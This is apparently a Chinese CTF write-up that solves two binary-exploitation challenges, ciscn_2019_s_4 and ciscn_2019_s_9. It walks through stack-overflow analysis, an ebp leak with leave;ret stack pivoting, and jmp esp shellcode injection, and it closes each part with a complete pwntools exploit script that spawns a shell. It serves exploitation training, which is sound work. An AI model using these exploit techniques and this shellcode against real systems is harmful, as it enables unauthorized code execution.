ciscn_2019_s_4

ciscn_2019_s_4

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

有一个 vul 函数

vul函数

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

两个输入点,每次输入后都会输出,这里读取输入最大 48(0x30) 个字节到 s ,但 s 大小为 40,所以存在缓冲区溢出

hack函数

1
2
3
4
int hack()
{
return system("echo flag");
}

system 函数,连接路径有问题

思路:

这题有栈溢出,有 system 函数,并且通过 ida 查看栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
-0000000000000028 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000028 // Frame size: 28; Saved regs: 4; Purge: 0
-0000000000000028
-0000000000000028 _BYTE s;
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008
+0000000000000008 // end of stack variables

这里输入 0x28+4(44) 大小的值后才到返回地址,所以这里我们最多覆盖到返回地址,没有更多可用空间,所以需要栈迁移
这里两次输出,并且会有输出,所以可以先利用第一次输入和输出去泄露 ebp 的值

1
2
3
4
5
6
7
payload=b'a'*39+b'b'
io.sendafter(b"What's your name?",payload)

io.recvuntil(b'b')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
log.success('ebp: '+hex(ebp))
# gdb.attach(io)

然后运用栈迁移需要 sleave_ret 的地址,并且最后要构造 system('/bin/sh') ,所以还需要 system 函数的地址
通过 ROPgadget 指令获得 leave_ret 的地址

通过 gdb 查看栈情况,计算 ebp 与输入点的偏移,来确定 s 的地址

偏移量为 0x38
查看 ida 获得 system 函数的地址

地址为 0x8048400

1
2
3
4
5
6
7
8
9
10
payload=b'a'*39+b'b'
io.sendafter(b"What's your name?",payload)

io.recvuntil(b'b')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
log.success('ebp: '+hex(ebp))

s=ebp-0x38
system=0x8048400
leave_ret=0x080484b8

最后构造 payload 进行栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
payload=b'a'*39+b'b'
io.sendafter(b"What's your name?",payload)

io.recvuntil(b'b')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
log.success('ebp: '+hex(ebp))

s=ebp-0x38
system=0x8048400
leave_ret=0x080484b8

payload=(p32(system)+p32(0)+p32(s+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(s-4)+p32(leave_ret)
io.send(payload)

这里前面写入 40 个字节后,把 ebp 写成 s-4 的地址(减 4 因为 leave 指令 mov esp,ebp 之后还有 pop ebp 使得 esp 增加),返回地址写入 leave_ret
两次 leave_ret 后(函数自身最后的一个 leave_ret 和我们返回地址设置的一个 leave_ret ),esp 会指向 s
所以在前面 写入的 40 字节中,我们先写入 system/bin/sh ,再补齐,使得栈迁移跳转到这里时,运行 system('/bin/sh') ,获得 shell
(这里直接构造 p32(system)+p32(0)+b'/bin/sh\x00' ,会出现参数 b'/bin/sh\x00' 没写进 system 的问题,所以这里给一个指向地址,s+12 指向的的是 b'/bin/sh\x00' )

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level='debug',arch='i386',os='linux')
# io = remote('node5.buuoj.cn',28342)
io = process('/home/motaly/s4')

payload=b'a'*39+b'b'
io.sendafter(b"What's your name?",payload)

io.recvuntil(b'b')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
log.success('ebp: '+hex(ebp))

s=ebp-0x38
system=0x8048400
leave_ret=0x080484b8

payload=(p32(system)+p32(0)+p32(s+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(s-4)+p32(leave_ret)
io.send(payload)

io.interactive()

ciscn_2019_s_9

ciscn_2019_s_9

准备


32 位,保护全没开

分析

main函数

1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return pwn();
}

有一个 pwn 函数

pwn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[32]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

一个输入点,读取输入最大 50 大小的数据到 s ,但 s 大小为 32,所以存在缓冲区溢出

hint函数

1
2
3
4
void hint()
{
__asm { jmp esp }
}

有一个 jmp esp 指令

思路:

这题有栈溢出,没直接的连接点,想到程序什么保护都没开,所以可以考虑打 shellcode
通过 gdb 查看内存区域布局

可以看到栈上是可读,可写,可执行的
再去 ida 中查看一下栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-0000000000000028 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000028 // Frame size: 28; Saved regs: 4; Purge: 0
-0000000000000028
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 char s[32];
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008
+0000000000000008 // end of stack variables

输入 0x20+4(36) 大小的值后才到返回地址,这里溢出的空间没有很大,结合给的 hint 函数,所以需要栈劫持进行构造
因为 hint 函数这里的操作 jsp esp ,是跳转到栈顶 esp 处,所以我们可以往栈上写入 shellcode ,然后想办法让 esp 指向 shellcode 处,并运行 esp 处的内容
查看 ida 获得 hint 函数中 jsp esp 操作的地址

地址为 0x8048554
因为这里输入点到返回地址,才 36 大小,所以找个短字节的shellcode

1
2
3
4
ret=0x8048554
shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

payload=shellcode.ljust(36,b'a')+p32(ret)

写入后,返回地址给到 jsp esp 操作的地址
此时 payload 的长度是前面填充 36 加上返回地址 4 字节,总共 40 字节
所以我们让 esp 减去 40 大小,到 shellcode 头,然后运行 esp

1
2
3
4
5
6
7
8
9
ret=0x8048554
shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

payload=shellcode.ljust(36,b'a')+p32(ret)
payload+=asm('''
sub esp, 40
call esp
''')
io.sendlineafter(b'>\n',payload)

总结这里大概的运行流程
构造的是写入 shellcode ,然后补充填满 36 字节,返回地址覆盖为 jsp esp 操作的地址,再写入 sub esp, 40call esp 这两个操作
此时 espsub esp, 40call esp 这一步处
开始运行程序,到最后的返回地址,执行 jmp esp 操作,跳转到 sub esp, 40call esp 处, sub esp, 40esp 指向了 shellcode 的开头, call esp 后会运行 esp 指向的内容,即 shellcode ,获得 shell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',arch='i386',os='linux')
# io = remote('node5.buuoj.cn',28342)
io = process('/home/motaly/s9')

ret=0x8048554
shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

payload=shellcode.ljust(36,b'a')+p32(ret)
payload+=asm('''
sub esp, 40
call esp
''')
io.sendlineafter(b'>\n',payload)

io.interactive()